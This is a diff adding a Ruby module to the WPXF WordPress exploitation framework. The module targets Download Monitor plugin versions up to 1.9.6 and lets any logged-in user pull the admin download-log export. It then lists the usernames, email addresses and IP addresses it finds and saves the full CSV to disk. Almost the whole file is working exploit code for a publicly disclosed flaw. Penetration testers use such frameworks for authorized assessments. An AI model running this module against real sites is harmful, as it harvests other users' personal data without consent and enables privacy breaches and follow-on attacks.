|
| 1 | +require 'csv' |
| 2 | + |
| 3 | +class Wpxf::Auxiliary::DownloadMonitorLogExport < Wpxf::Module |
| 4 | + include Wpxf |
| 5 | + |
| 6 | + def initialize |
| 7 | + super |
| 8 | + |
| 9 | + update_info( |
| 10 | + name: 'Download Monitor <= 1.9.6 Log Export', |
| 11 | + desc: %( |
| 12 | + This module allows a user of any level to export a CSV of the download logs, which |
| 13 | + includes: Download ID, Version ID, Filename, User ID, User Login, User Email, User IP, User Agent, Date, Status |
| 14 | + ), |
| 15 | + author: [ |
| 16 | + 'James Golovich', # Disclosure |
| 17 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 18 | + ], |
| 19 | + references: [ |
| 20 | + ['WPVDB', '8810'] |
| 21 | + ], |
| 22 | + date: 'May 05 2017' |
| 23 | + ) |
| 24 | + |
| 25 | + register_options([ |
| 26 | + StringOption.new( |
| 27 | + name: 'export_path', |
| 28 | + desc: 'The file to save the export to', |
| 29 | + required: true |
| 30 | + ) |
| 31 | + ]) |
| 32 | + end |
| 33 | + |
| 34 | + def check |
| 35 | + check_plugin_version_from_readme('download-monitor', '1.9.7') |
| 36 | + end |
| 37 | + |
| 38 | + def requires_authentication |
| 39 | + true |
| 40 | + end |
| 41 | + |
| 42 | + def export_path |
| 43 | + return nil if normalized_option_value('export_path').nil? |
| 44 | + File.expand_path normalized_option_value('export_path') |
| 45 | + end |
| 46 | + |
| 47 | + def process_row(row) |
| 48 | + return unless row[:user_login] && row[:user_email] |
| 49 | + emit_success "Found user: #{row[:user_login]} (#{row[:user_email]})", true |
| 50 | + @users.push(id: row[:user_login], email: row[:user_email], ip: row[:user_ip]) |
| 51 | + end |
| 52 | + |
| 53 | + def parse_csv(body, delimiter) |
| 54 | + begin |
| 55 | + CSV::Converters[:blank_to_nil] = lambda do |field| |
| 56 | + field && field.empty? ? nil : field |
| 57 | + end |
| 58 | + csv = CSV.new( |
| 59 | + body, |
| 60 | + col_sep: delimiter, |
| 61 | + headers: true, |
| 62 | + header_converters: :symbol, |
| 63 | + converters: [:all, :blank_to_nil] |
| 64 | + ) |
| 65 | + |
| 66 | + csv.to_a.map { |row| process_row(row) } |
| 67 | + return true |
| 68 | + rescue |
| 69 | + return false |
| 70 | + end |
| 71 | + end |
| 72 | + |
| 73 | + def execute_download_log_export |
| 74 | + res = execute_get_request( |
| 75 | + url: wordpress_url_admin, |
| 76 | + params: { 'dlm_download_logs' => 'true' }, |
| 77 | + cookie: session_cookie |
| 78 | + ) |
| 79 | + |
| 80 | + if res.nil? |
| 81 | + emit_error 'No response from the target' |
| 82 | + return false |
| 83 | + end |
| 84 | + |
| 85 | + if res.code != 200 |
| 86 | + emit_error "Server responded with code #{res.code}" |
| 87 | + return false |
| 88 | + end |
| 89 | + |
| 90 | + res |
| 91 | + end |
| 92 | + |
| 93 | + def parse_and_display(content) |
| 94 | + @users = [{ |
| 95 | + id: 'Username', email: 'E-mail', ip: 'IP Address' |
| 96 | + }] |
| 97 | + |
| 98 | + unless parse_csv(content, ',') || parse_csv(content, ';') |
| 99 | + emit_error 'Failed to parse response, the CSV was invalid' |
| 100 | + emit_info "CSV content: #{content}", true |
| 101 | + return false |
| 102 | + end |
| 103 | + |
| 104 | + emit_table @users |
| 105 | + end |
| 106 | + |
| 107 | + def run |
| 108 | + return false unless super |
| 109 | + |
| 110 | + emit_info 'Requesting download logs...' |
| 111 | + res = execute_download_log_export |
| 112 | + |
| 113 | + emit_info 'Parsing response...' |
| 114 | + parse_and_display(res.body) |
| 115 | + |
| 116 | + emit_info 'Saving export...' |
| 117 | + File.open(export_path, 'w') { |file| file.write(res.body) } |
| 118 | + emit_success "Saved export to #{export_path}" |
| 119 | + |
| 120 | + true |
| 121 | + end |
| 122 | +end |
0 commit comments